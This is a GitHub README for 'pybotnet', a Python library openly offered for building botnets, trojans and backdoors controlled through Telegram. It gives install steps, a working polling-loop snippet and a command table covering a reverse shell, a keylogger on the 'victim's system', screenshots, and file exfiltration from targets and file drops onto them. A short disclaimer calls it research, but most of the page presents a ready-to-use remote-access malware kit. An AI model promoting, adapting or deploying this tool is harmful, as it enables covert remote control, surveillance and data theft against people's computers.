Skip to content
/ pybotnet Public
forked from onionj/pybotnet

pybotnet - A Python Library for building Botnet , Trojan or BackDoor for windows and linux with Telegram control panel

License

Notifications You must be signed in to change notification settings

ToR-0/pybotnet

 
 

Repository files navigation

trojan horse

pybotnet

A Python Library for building botnet , trojan or backdoor for windows and linux with Telegram control panel

Disclaimer: Please note that this is a research project. I am by no means responsible for any usage of this tool. Use it on your behalf.

Persian document داکیومنت فارسی

Features:

  • Telegram anti-filter control panel
  • get command from telegram and execute scripts
  • get command and send message by third party proxy
  • reverse shell
  • keylogger
  • get target info
  • sleep source by Optional message
  • export file to targets system
  • import file from target system
  • get screenshot
  • Task Scheduler
  • Open Website
  • Play Sound

for more, see commands table end of this page

Requirements:

  • Python 3.6 or higher
  • Telegram account

Usage:

pip install pybotnet
from pybotnet import pybotnet
import time

# change TELEGRAM_TOKEN and  ADMIN_CHAT_ID to valid data:

# telegram api token (Get it from the telegram @botfather)
TELEGRAM_TOKEN = '1468299547:ABHs_________MzZcYxF_e00000000000'

# telegram account number ID (get it from @userinfobot)
ADMIN_CHAT_ID = '12345678910'



# * is_sheel:          if you compile code without shell: is_sheel=False
# * show_log:          just for debugging
# * send_system_data:  send system short info in every bot messages in telegram

bot = pybotnet.PyBotNet(TELEGRAM_TOKEN, ADMIN_CHAT_ID,
                        show_log=True, send_system_data=True, is_shell=True)

delay = 10

while True:
    print('*-*'*15)
    bot.get_and_execute_scripts_by_third_party_proxy()
    time.sleep(delay)

Commmands:

Send this COMMANDs to your api bot in telegram, using the admin account.

for run command on one target: <Target_MAC_Address> <command> 66619484755211 get_info

COMMAND Sample DO THIS version tested on
get_info get_info return system info 0.06 windows, linux
do_sleep <scconds> <message (Optional)> do_sleep 99999 hi, i see you! <if message != none : print(message) > ; time.sleep(seccond) 0.08 windows, linux
cmd <system command> cmd mkdir new_folder cmd cd .., cmd ls run system command in shell or cmd (Be careful not to give endless commands like ping google.com -t in windows or ping google.com in linux) TODO:add timeout 0.07 windows, linux
export_file <link> export_file https://github.com/onionj/pybotnet/archive/refs/heads/master.zip target donwload this file and save to script path 0.14 windows, linux
import_file <file_route> import_file /home/onionj/folder/somting.png get a file from target system (limit:5GB & 20min) 0.17.0 windows, linux
screenshot screenshot Takes a screenshot, uploads it to the online server and return the download link 0.18.1 windows, linux
help help send commands help 0.18.5 windows, linux
/start /start run help command !! 0.18.7 windows, linux
<Target_MAC_Address> reverse_shell 66619484755211 reverse_shell and exit for exit! start reverse shell on target system 0.20.1 windows, linux
keylogger keylogger start and keylogger stop to stop the keylogger Starts a keylogger on victim's system. keylogger can't handle persian words very correctly 0.21.1 windows, linux
scheduler scheduler start ,stop , list Adds a schedule 0.25.3 windows, linux
playsound playsound <sound-name> Will play a sound . Playsound can only play MP3 or WAV Files. 0.25.3 windows, linux
openurl openurl <url> <how-many-times> Will open a url n times. 0.25.3 windows, linux

If you like this repo and find it useful, please consider ★ starring it (on top right of the page) and forking it :)

TODO List

Sample GUI Trojan created by pybotnet: VINET

Contributors ✨

Thanks goes to these wonderful people


oNion


TorhamDev


SepehrRasouli

About

pybotnet - A Python Library for building Botnet , Trojan or BackDoor for windows and linux with Telegram control panel

Resources

License

Stars

Watchers

Forks

Packages

No packages published

Languages

  • Python 100.0%